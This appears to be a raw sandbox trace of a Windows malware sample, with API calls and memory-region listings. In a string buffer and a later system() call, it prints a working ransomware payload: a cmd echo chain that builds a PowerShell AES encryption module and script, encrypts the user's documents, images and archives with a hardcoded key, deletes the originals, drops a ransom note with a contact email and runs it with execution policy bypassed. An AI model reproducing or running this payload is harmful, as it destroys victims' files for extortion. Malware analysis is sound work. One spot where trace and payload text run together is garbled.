[0050.846] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x37e908 | out: TokenHandle=0x37e908*=0x40) returned 1 [0050.847] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\Setup.exe.config" (normalized: "c:\\users\\keecfmwgj\\desktop\\setup.exe.config"), fInfoLevelId=0x0, lpFileInformation=0x37e900 | out: lpFileInformation=0x37e900*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0050.847] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\Setup.exe.config", nBufferLength=0x105, lpBuffer=0x37e38c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\Setup.exe.config", lpFilePart=0x0) returned 0x2b [0050.847] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\Setup.exe.config" (normalized: "c:\\users\\keecfmwgj\\desktop\\setup.exe.config"), fInfoLevelId=0x0, lpFileInformation=0x37e908 | out: lpFileInformation=0x37e908*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0050.848] CloseHandle (hObject=0x40) returned 1 [0050.848] GetCurrentProcess () returned 0xffffffff [0050.848] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x37ea54 | out: TokenHandle=0x37ea54*=0x40) returned 1 [0050.849] CloseHandle (hObject=0x40) returned 1 [0050.850] GetCurrentProcess () returned 0xffffffff [0050.850] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x37ea54 | out: TokenHandle=0x37ea54*=0x40) returned 1 [0050.851] CloseHandle (hObject=0x40) returned 1 [0050.876] GetCurrentProcess () returned 0xffffffff [0050.876] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x37e86c | out: TokenHandle=0x37e86c*=0x40) returned 1 [0050.883] CloseHandle (hObject=0x40) returned 1 [0050.883] GetCurrentProcess () returned 0xffffffff [0050.884] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x37e884 | out: TokenHandle=0x37e884*=0x40) returned 1 [0050.891] CloseHandle (hObject=0x40) returned 1 [0050.896] GetSystemMetrics (nIndex=75) returned 1 [0050.929] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x0 [0051.020] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75c80000 [0051.023] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AddDllDirectory", cchWideChar=15, lpMultiByteStr=0x37ebd8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AddDllDirectory", lpUsedDefaultChar=0x0) returned 15 [0051.023] GetProcAddress (hModule=0x75c80000, lpProcName="AddDllDirectory") returned 0x771d1e91 [0051.023] LoadLibraryExW (lpLibFileName="comctl32.dll", hFile=0x0, dwFlags=0x800) returned 0x72230000 [0051.047] GetModuleHandleW (lpModuleName="user32.dll") returned 0x75520000 [0051.047] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DefWindowProcW", cchWideChar=14, lpMultiByteStr=0x37eb1c, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DefWindowProcWknæo\n> Cipher.psm1 & echo [Parameter()] >> Cipher.psm1 & echo [Switch]$RemoveSource) >> Cipher.psm1 & echo Begin { try { >> Cipher.psm1 & echo if($PSCmdlet.ParameterSetName -eq 'PlainText') { >> Cipher.psm1 & echo $Key = $KeyAsPlainText ^| ConvertTo-SecureString -AsPlainText -Force} >> Cipher.psm1 & echo $BSTR = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($Key) >> Cipher.psm1 & echo $EncryptionKey = [System.Convert]::FromBase64String([System.Runtime.InteropServices.Marshal]::PtrToStringAuto($BSTR)) >> Cipher.psm1 & echo $Crypto = [System.Security.Cryptography.SymmetricAlgorithm]::Create($Algorithm) >> Cipher.psm1 & echo if($PSBoundParameters.ContainsKey('CipherMode')){ >> Cipher.psm1 & echo $Crypto.Mode = $CipherMode } >> Cipher.psm1 & echo if($PSBoundParameters.ContainsKey('PaddingMode')){ >> Cipher.psm1 & echo $Crypto.Padding = $PaddingMode } >> Cipher.psm1 & echo $Crypto.KeySize = $EncryptionKey.Length*8 >> Cipher.psm1 & echo $Crypto.Key = $EncryptionKey } >> Cipher.psm1 & echo Catch { Write-Error $_ -ErrorAction Stop } } >> Cipher.psm1 & echo Process { >> Cipher.psm1 & echo $Files = Get-Item -LiteralPath $FileName >> Cipher.psm1 & echo ForEach($File in $Files) { $DestinationFile = $File.FullName + $Suffix >> Cipher.psm1 & echo Try { >> Cipher.psm1 & echo $FileStreamReader = New-Object System.IO.FileStream($File.FullName, [System.IO.FileMode]::Open) >> Cipher.psm1 & echo $FileStreamWriter = New-Object System.IO.FileStream($DestinationFile, [System.IO.FileMode]::Create) >> Cipher.psm1 & echo $Crypto.GenerateIV() >> Cipher.psm1 & echo $FileStreamWriter.Write([System.BitConverter]::GetBytes($Crypto.IV.Length), 0, 4) >> Cipher.psm1 & echo $FileStreamWriter.Write($Crypto.IV, 0, $Crypto.IV.Length) >> Cipher.psm1 & echo $Transform = $Crypto.CreateEncryptor() >> Cipher.psm1 & echo $CryptoStream = New-Object System.Security.Cryptography.CryptoStream($FileStreamWriter, $Transform, [System.Security.Cryptography.CryptoStreamMode]::Write) >> Cipher.psm1 & echo $FileStreamReader.CopyTo($CryptoStream) >> Cipher.psm1 & echo $CryptoStream.FlushFinalBlock() >> Cipher.psm1 & echo $CryptoStream.Close() >> Cipher.psm1 & echo $FileStreamReader.Close() >> Cipher.psm1 & echo $FileStreamWriter.Close() >> Cipher.psm1 & echo if($RemoveSource){Remove-Item -LiteralPath $File.FullName} >> Cipher.psm1 & echo $result = Get-Item $DestinationFile >> Cipher.psm1 & echo $result ^| Add-Member -MemberType NoteProperty -Name SourceFile -Value $File.FullName >> Cipher.psm1 & echo $result ^| Add-Member -MemberType NoteProperty -Name Algorithm -Value $Algorithm >> Cipher.psm1 & echo $result ^| Add-Member -MemberType NoteProperty -Name Key -Value $Key >> Cipher.psm1 & echo $result ^| Add-Member -MemberType NoteProperty -Name CipherMode -Value $Crypto.Mode >> Cipher.psm1 & echo $result ^| Add-Member -MemberType NoteProperty -Name PaddingMode -Value $Crypto.Padding >> Cipher.psm1 & echo $result } >> Cipher.psm1 & echo Catch { Write-Error $_ >> Cipher.psm1 & echo If($FileStreamWriter) >> Cipher.psm1 & echo { $FileStreamWriter.Close() >> Cipher.psm1 & echo Remove-Item -LiteralPath $DestinationFile -Force } >> Cipher.psm1 & echo Continue >> Cipher.psm1 & echo } Finally { if($CryptoStream){$CryptoStream.Close()} >> Cipher.psm1 & echo if($FileStreamReader){$FileStreamReader.Close()} >> Cipher.psm1 & echo if($FileStreamWriter){$FileStreamWriter.Close()} } } } } >> Cipher.psm1 & echo Import-Module Cipher > cry.ps1 & echo $files = get-childitem $home -recurse -Include *.gif, *.sln, *.docx, *.php, *.psd, *.ico, *.mov, *.xlsx, *.jpg, *.xls, *.doc, *.pdf, *.wav, *.pptx, *.ppt, *.txt, *.png, *.bmp, *.rar, *.zip, *.mp3, *.mp4, *.avi ^| where {^! $_.PSIsContainer} >> cry.ps1 & echo foreach ($file in $files) { Protect-File $file -Algorithm AES -KeyAsPlainText NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q= -Suffix '.Syrk' -RemoveSource } >> cry.ps1 & echo echo 'Your personal files have been encrypted by Syrk Malware, send an email to panda831@protonmail.com to recover them.' ^> $home\\Desktop\\Readme_now.txt >> cry.ps1 & echo start $home\\Desktop\\Readme_now.txt >> cry.ps1 & exit") returned 0 [0063.762] system (_Command="cmd.exe /c cd %USERPROFILE%\\Documents\\WindowsPowerShell\\Modules\\Cipher & echo Remove-Item -path $home\\Documents\\WindowsPowerShell\\Modules\\Cipher\\* >> %USERPROFILE%\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1 & powershell -ExecutionPolicy ByPass -File %USERPROFILE%\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1 & exit") returned 0 [0265.755] exit (_Code=0) Process: id = "3" image_name = "startsf.exe" filename = "c:\\users\\public\\documents\\startsf.exe" page_root = "0x3a278000" os_pid = "0x980" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0x934" cmd_line = "\"C:\\Users\\Public\\Documents\\startSF.exe\" " cur_dir = "C:\\Users\\kEecfMwgj\\Desktop\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f5e4" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 1438 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 1439 start_va = 0x30000 end_va = 0x31fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 1440 start_va = 0x40000 end_va = 0x40fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 1441 start_va = 0x50000 end_va = 0x8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 1442 start_va = 0x90000 end_va = 0x18ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000090000" filename = "" Region: id = 1443 start_va = 0x190000 end_va = 0x193fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000190000" filename = "" Region: id = 1444 start_va = 0x1a0000 end_va = 0x1a1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001a0000" filename = "" Region: id = 1445 start_va = 0x400000 end_va = 0x419fff monitored = 1 entry_point = 0x401000 region_type = mapped_file name = "startsf.exe" filename = "\\Users\\Public\\Documents\\startSF.exe" (normalized: "c:\\users\\public\\documents\\startsf.exe") Region: id = 1446 start_va = 0x77460000 end_va = 0x77608fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 1447 start_va = 0x77640000 end_va = 0x777bffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 1448 start_va = 0x7efb0000 end_va = 0x7efd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 1449 start_va = 0x7efdb000 end_va = 0x7efddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 1450 start_va = 0x7efde000 end_va = 0x7efdefff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 1451 start_va = 0x7efdf000 end_va = 0x7efdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 1452 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 1453 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 1454 start_va = 0x7fff0000 end_va = 0x7fffffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 1455 start_va = 0x420000 end_va = 0x68ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000420000" filename = "" Region: id = 1456 start_va = 0x74f30000 end_va = 0x74f6efff monitored = 0 entry_point = 0x74f5e088 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 1457 start_va = 0x74ed0000 end_va = 0x74f2bfff monitored = 0 entry_point = 0x74f0f9f4 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 1458 start_va = 0x74ec0000 end_va = 0x74ec7fff monitored = 0 entry_point = 0x74ec20f8 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 1459 start_va = 0x77340000 end_va = 0x7745efff monitored = 0 entry_point = 0x77355340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 1460 start_va = 0x75c80000 end_va = 0x75d8ffff monitored = 0 entry_point = 0x75c93283 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 1461 start_va = 0x77340000 end_va = 0x7745efff monitored = 0 entry_point = 0x77355340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 1462 start_va = 0x77340000 end_va = 0x7745efff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000077340000" filename = "" Region: id = 1463 start_va = 0x77240000 end_va = 0x77339fff monitored = 0 entry_point = 0x7725a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 1464 start_va = 0x77240000 end_va = 0x77339fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000077240000" filename = "" Region: id = 1465 start_va = 0x690000 end_va = 0x97ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000690000" filename = "" Region: id = 1466 start_va = 0x75c80000 end_va = 0x75d8ffff monitored = 0 entry_point = 0x75c93283 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 1467 start_va = 0x771c0000 end_va = 0x77206fff monitored = 0 entry_point = 0x771c74c1 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 1468 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 1469 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 1470 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 1533 start_va = 0x20000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 1534 start_va = 0x1b0000 end_va = 0x216fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 1535 start_va = 0x75620000 end_va = 0x756cbfff monitored = 0 entry_point = 0x7562a472 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 1536 start_va = 0x75520000 end_va = 0x7561ffff monitored = 0 entry_point = 0x7553b6ed region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 1537 start_va = 0x76010000 end_va = 0x7609ffff monitored = 0 entry_point = 0x76026343 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 1538 start_va = 0x75a40000 end_va = 0x75a49fff monitored = 0 entry_point = 0x75a436a0 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll") Region: id = 1539 start_va = 0x753f0000 end_va = 0x7548cfff monitored = 0 entry_point = 0x75423fd7 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll") Region: id = 1540 start_va = 0x75e80000 end_va = 0x75f1ffff monitored = 0 entry_point = 0x75e949e5 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 1541 start_va = 0x75c60000 end_va = 0x75c78fff monitored = 0 entry_point = 0x75c64975 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 1542 start_va = 0x760a0000 end_va = 0x7618ffff monitored = 0 entry_point = 0x760b0569 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 1543 start_va = 0x75190000 end_va = 0x751effff monitored = 0 entry_point = 0x751aa3b3 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 1544 start_va = 0x75180000 end_va = 0x7518bfff monitored = 0 entry_point = 0x751810e1 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 1545 start_va = 0x74260000 end_va = 0x743fdfff monitored = 0 entry_point = 0x7428e6b5 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll") Region: id = 1546 start_va = 0x75e20000 end_va = 0x75e76fff monitored = 0 entry_point = 0x75e39ba6 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll") Region: id = 1547 start_va = 0x76190000 end_va = 0x76dd9fff monitored = 0 entry_point = 0x76211601 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\SysWOW64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll") Region: id = 1548 start_va = 0x6da20000 end_va = 0x6da51fff monitored = 0 entry_point = 0x6da237f1 region_type = mapped_file name = "winmm.dll" filename = "\\Windows\\SysWOW64\\winmm.dll" (normalized: "c:\\windows\\syswow64\\winmm.dll") Region: id = 1549 start_va = 0x75770000 end_va = 0x758cbfff monitored = 0 entry_point = 0x757bba3d region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll") Region: id = 1550 start_va = 0x420000 end_va = 0x60ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000420000" filename = "" Region: id = 1551 start_va = 0x610000 end_va = 0x68ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000610000" filename = "" Region: id = 1552 start_va = 0x220000 end_va = 0x3a7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 1553 start_va = 0x3b0000 end_va = 0x3cdfff monitored = 0 entry_point = 0x3c158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 1554 start_va = 0x3b0000 end_va = 0x3cdfff monitored = 0 entry_point = 0x3c158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 1555 start_va = 0x76f70000 end_va = 0x76fcffff monitored = 0 entry_point = 0x76f8158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 1556 start_va = 0x75b80000 end_va = 0x75c4bfff monitored = 0 entry_point = 0x75b8168b region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 1557 start_va = 0x30000 end_va = 0x30fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 1558 start_va = 0x3b0000 end_va = 0x3b0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003b0000" filename = "" Region: id = 1559 start_va = 0x420000 end_va = 0x5a0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1560 start_va = 0x600000 end_va = 0x60ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000600000" filename = "" Region: id = 1561 start_va = 0x980000 end_va = 0x1d7ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000980000" filename = "" Region: id = 1562 start_va = 0x3c0000 end_va = 0x3c0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "windowsshell.manifest" filename = "\\Windows\\WindowsShell.Manifest" (normalized: "c:\\windows\\windowsshell.manifest") Region: id = 1563 start_va = 0x3d0000 end_va = 0x3d1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003d0000" filename = "" Region: id = 1564 start_va = 0x690000 end_va = 0x76ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000690000" filename = "" Region: id = 1565 start_va = 0x880000 end_va = 0x97ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000880000" filename = "" Region: id = 1566 start_va = 0x1d80000 end_va = 0x1f4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001d80000" filename = "" Region: id = 1567 start_va = 0x770000 end_va = 0x86ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000770000" filename = "" Region: id = 1568 start_va = 0x740a0000 end_va = 0x7411ffff monitored = 0 entry_point = 0x740b37c9 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\SysWOW64\\uxtheme.dll" (normalized: "c:\\windows\\syswow64\\uxtheme.dll") Region: id = 1569 start_va = 0x1d80000 end_va = 0x1f0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001d80000" filename = "" Region: id = 1570 start_va = 0x1f40000 end_va = 0x1f4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001f40000" filename = "" Region: id = 1571 start_va = 0x770000 end_va = 0x84efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000770000" filename = "" Region: id = 1572 start_va = 0x860000 end_va = 0x86ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000860000" filename = "" Region: id = 1573 start_va = 0x1d80000 end_va = 0x1ea4fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001d80000" filename = "" Region: id = 1574 start_va = 0x1ed0000 end_va = 0x1f0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001ed0000" filename = "" Region: id = 1575 start_va = 0x1f50000 end_va = 0x204ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001f50000" filename = "" Thread: id = 10 os_tid = 0x984 [0061.991] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0061.991] HeapCreate (flOptions=0x0, dwInitialSize=0x1000, dwMaximumSize=0x0) returned 0x760000 [0061.998] HeapCreate (flOptions=0x0, dwInitialSize=0x1000, dwMaximumSize=0x0) returned 0x1f40000 [0061.998] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x0, Size=0xc) returned 0x1f407d0 [0061.999] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x0, Size=0x10) returned 0x1f407e8 [0061.999] RtlAllocateHeap (HeapHandle=0x760000, Flags=0x8, Size=0x38) returned 0x7607d0 [0061.999] RtlAllocateHeap (HeapHandle=0x760000, Flags=0x8, Size=0x40) returned 0x760810 [0061.999] HeapCreate (flOptions=0x0, dwInitialSize=0x1000, dwMaximumSize=0x0) returned 0x860000 [0061.999] RtlAllocateHeap (HeapHandle=0x760000, Flags=0x8, Size=0x10) returned 0x760858 [0061.999] RtlReAllocateHeap (Heap=0x760000, Flags=0x8, Ptr=0x760858, Size=0x10) returned 0x760858 [0061.999] RtlAllocateHeap (HeapHandle=0x760000, Flags=0x8, Size=0x38) returned 0x760870 [0061.999] RtlAllocateHeap (HeapHandle=0x760000, Flags=0x8, Size=0x10) returned 0x7608b0 [0062.000] InitCommonControlsEx (picce=0x18ff7c) returned 1 [0062.001] CoInitialize (pvReserved=0x0) returned 0x0 [0062.018] wcslen (_String="*") returned 0x1 [0062.018] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x0, Size=0xc) returned 0x1f40800 [0062.018] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0062.018] RtlAllocateHeap (HeapHandle=0x760000, Flags=0x0, Size=0x3c) returned 0x7608c8 [0062.018] RtlAllocateHeap (HeapHandle=0x760000, Flags=0x8, Size=0x800) returned 0x760910 [0062.019] LoadLibraryW (lpLibFileName="Kernel32.dll") returned 0x75c80000 [0062.019] GetProcAddress (hModule=0x75c80000, lpProcName="InitOnceExecuteOnce") returned 0x75cad5f7 [0062.019] InitOnceExecuteOnce (in: InitOnce=0x41867c, InitFn=0x40e0a3, Parameter=0x40e062, Context=0x18ff2c | out: InitOnce=0x41867c, Parameter=0x40e062, Context=0x18ff2c*=0x4) returned 1 [0062.019] FreeLibrary (hLibModule=0x75c80000) returned 1 [0062.019] RtlAllocateHeap (HeapHandle=0x760000, Flags=0x0, Size=0x18) returned 0x761118 [0062.019] RtlAllocateHeap (HeapHandle=0x760000, Flags=0x0, Size=0x38) returned 0x761138 [0062.019] RtlAllocateHeap (HeapHandle=0x760000, Flags=0x8, Size=0xc) returned 0x761178 [0062.019] RtlAllocateHeap (HeapHandle=0x760000, Flags=0x0, Size=0x34) returned 0x761190 [0062.019] LoadLibraryW (lpLibFileName="Kernel32.dll") returned 0x75c80000 [0062.019] GetProcAddress (hModule=0x75c80000, lpProcName="InitOnceExecuteOnce") returned 0x75cad5f7 [0062.019] InitOnceExecuteOnce (in: InitOnce=0x41867c, InitFn=0x40e0a3, Parameter=0x40e062, Context=0x18ff34 | out: InitOnce=0x41867c, Parameter=0x40e062, Context=0x18ff34*=0x4) returned 1 [0062.019] FreeLibrary (hLibModule=0x75c80000) returned 1 [0062.019] RtlAllocateHeap (HeapHandle=0x760000, Flags=0x0, Size=0x18) returned 0x7611d0 [0062.019] RtlAllocateHeap (HeapHandle=0x760000, Flags=0x0, Size=0x38) returned 0x7611f0 [0062.020] RtlAllocateHeap (HeapHandle=0x760000, Flags=0x0, Size=0x34) returned 0x761230 [0062.020] LoadLibraryW (lpLibFileName="Kernel32.dll") returned 0x75c80000 [0062.020] GetProcAddress (hModule=0x75c80000, lpProcName="InitOnceExecuteOnce") returned 0x75cad5f7 [0062.020] InitOnceExecuteOnce (in: InitOnce=0x41867c, InitFn=0x40e0a3, Parameter=0x40e062, Context=0x18ff34 | out: InitOnce=0x41867c, Parameter=0x40e062, Context=0x18ff34*=0x4) returned 1 [0062.020] FreeLibrary (hLibModule=0x75c80000) returned 1 [0062.020] RtlAllocateHeap (HeapHandle=0x760000, Flags=0x0, Size=0x124fa4) returned 0x1d80020 [0062.033] wcslen (_String="\\") returned 0x1 [0062.034] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x0, Size=0xc) returned 0x1f40818 [0062.034] RtlAllocateHeap (HeapHandle=0x760000, Flags=0x0, Size=0x34) returned 0x761270 [0062.034] LoadLibraryW (lpLibFileName="Kernel32.dll") returned 0x75c80000 [0062.034] GetProcAddress (hModule=0x75c80000, lpProcName="InitOnceExecuteOnce") returned 0x75cad5f7 [0062.034] InitOnceExecuteOnce (in: InitOnce=0x41867c, InitFn=0x40e0a3, 